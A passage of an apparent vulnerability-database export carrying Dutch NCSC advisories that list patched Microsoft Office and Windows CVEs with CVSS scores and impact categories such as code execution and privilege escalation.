CVE-2026-55019 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55020 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55021 | 7.30 | Voordoen als andere gebruiker       | \n| CVE-2026-55030 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55034 | 7.30 | Voordoen als andere gebruiker       | \n| CVE-2026-55126 | 7.30 | Voordoen als andere gebruiker       | \n| CVE-2026-55051 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55040 | 9.10 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-55052 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55135 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-56157 | 5.40 | Voordoen als andere gebruiker       | \n| CVE-2026-58277 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office Word: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55050 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55032 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55033 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55124 | 5.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-55127 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55055 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55038 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55132 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55134 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55142 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55128 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55130 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office PowerPoint: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55043 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55123 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55120 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56193 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-47290 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50301 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50314 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50467 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55017 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55018 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55022 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55023 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55125 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55026 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55027 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55028 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55047 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55045 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-55049 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55129 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55035 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55057 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55056 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55140 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55042 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55139 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50665 | 7.80 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56192 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56195 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office OneNote: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55133 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office Excel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50675 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50678 | 6.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54988 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55899 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55948 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58618 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-47642 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-48580 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55024 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50408 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55046 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55025 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55031 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55048 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55029 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55039 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55041 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55138 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55136 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55141 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55036 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55044 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55054 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55037 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55058 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55137 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55053 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55122 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55131 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54131 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55898 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55947 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55949 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56156 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n```", "creation_timestamp": "2026-07-14T19:00:56.682016Z"}, {"uuid": "a13a76b5-7bc8-4ff7-9add-28c831a69f5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54131", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0237", "content": "Microsoft heeft kwetsbaarheden verholpen in diverse Office producten, zoals Word, Excel, Powerpoint en SharePoint. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot categorie\u00ebn schade, zoals benoemd in onderstaande tabel.\n\nVoor succesvol misbruik moet de kwaadwillende het slachtoffer misleiden een malafide bestand te openen of link te volgen, met uitzondering van SharePoint. Voor succesvol misbruik van kwetsbaarheden in SharePoint is geen gebruikersinteractie nodig, anders dan het volgen van een malafide link.\n\n```\nMicrosoft Office SharePoint: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54108 | 6.50 | Voordoen als andere gebruiker       | \n| CVE-2026-56164 | 5.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50522 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58644 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55016 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55019 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55020 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55021 | 7.30 | Voordoen als andere gebruiker       | \n| CVE-2026-55030 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55034 | 7.30 | Voordoen als andere gebruiker       | \n| CVE-2026-55126 | 7.30 | Voordoen als andere gebruiker       | \n| CVE-2026-55051 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55040 | 9.10 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-55052 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55135 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-56157 | 5.40 | Voordoen als andere gebruiker       | \n| CVE-2026-58277 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office Word: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55050 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55032 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55033 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55124 | 5.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-55127 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55055 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55038 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55132 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55134 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55142 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55128 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55130 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office PowerPoint: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55043 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55123 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55120 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56193 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-47290 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50301 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50314 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50467 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55017 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55018 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55022 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55023 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55125 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55026 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55027 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55028 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55047 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55045 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-55049 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55129 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55035 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55057 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55056 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55140 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55042 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55139 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50665 | 7.80 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56192 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56195 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office OneNote: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55133 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office Excel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50675 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50678 | 6.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54988 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55899 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55948 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58618 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-47642 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-48580 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55024 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50408 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55046 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55025 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55031 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55048 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55029 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55039 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55041 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55138 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55136 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55141 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55036 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55044 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55054 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55037 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55058 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55137 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55053 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55122 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55131 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54131 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55898 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55947 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55949 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56156 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n```", "creation_timestamp": "2026-07-14T19:00:59.065906Z"}, {"uuid": "7d293f19-e419-41ba-83ae-1165d214011b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54987", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0231", "content": "Microsoft heeft een zeer groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn schade, zoals genoemd in onderstaande tabel.\n\nDe ernstigste kwetsbaarheden hebben kenmerken **CVE-2026-49172, CVE-2026-56190, CVE-2026-54990, CVE-2026-49798, CVE-2026-50380, CVE-2026-50447, CVE-2026-50518, CVE-2026-56159, CVE-2026-56188 en CVE-2026-57092** toegewezen gekregen en bevinden zich in respectievelijk de FTP service, Remote Desktop (client en server), de Kernel, GDI+, Message Queuing Service, DHCP Server, Server Network Driver en VMSwitch.\nKwaadwillenden met toegang tot deze services kunnen zonder voorafgaande authenticatie mogelijk code uitvoeren of zich toegang verschaffen tot het kwetsbare systeem.\n\nNaast deze ernstige kwetsbaarheden zijn nog eens meer dan 400 kwetsbaarheden verholpen, allen varierend in ernstigheid van middelmatig tot hoog/kritiek.\n\nDoor de aard en omvang van deze updates, adviseert het NCSC om deze updates met voorrang in te zetten.\n\n```\nWindows Admin Center: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56169 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56185 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57107 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58631 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56196 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56197 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Management Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58544 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Audio Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34328 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50440 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58538 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Install Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50343 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nVirtual Hard Disk (VHD) Miniport Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58601 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50311 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Update Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50328 | 7.50 | Manipulatie van gegevens            | \n| CVE-2026-50444 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54107 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54986 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54112 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54114 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49805 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50297 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50325 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50416 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50489 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56184 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57095 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58632 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Terminal: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54124 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55003 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57979 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50376 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50445 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54126 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56190 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57982 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58533 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58535 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58546 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58539 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58594 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Internet Key Exchange (IKE) Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50696 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nQuality Windows Audio/Video Experience (QWAVE) service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54989 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows RPC API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50365 | 8.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nReliable Multicast Transport Driver (RMCAST): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54982 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54995 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Kernel Mode Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58602 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Service Infrastructure: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56647 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Trusted Runtime Interface Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50350 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50363 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50434 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50339 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50430 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50697 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nContent Delivery Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50427 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows LUAFV: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50371 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows App Store: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42900 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49165 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49784 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50356 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49174 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50295 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50465 | 7.10 | Manipulatie van gegevens            | \n| CVE-2026-50495 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50487 | 8.10 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Data.dll: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50347 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Boot Loader: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58638 | 6.00 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows VMSwitch: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57092 | 9.90 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Connection Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50666 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Input Method Editor (IME): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58534 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Search Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50373 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50679 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49164 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-57976 | 6.50 | Denial-of-Service                   | \n| CVE-2026-49178 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50366 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Routing and Remote Access Service (RRAS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49791 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50451 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57096 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRole: DNS Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49169 | 8.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-50426 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: 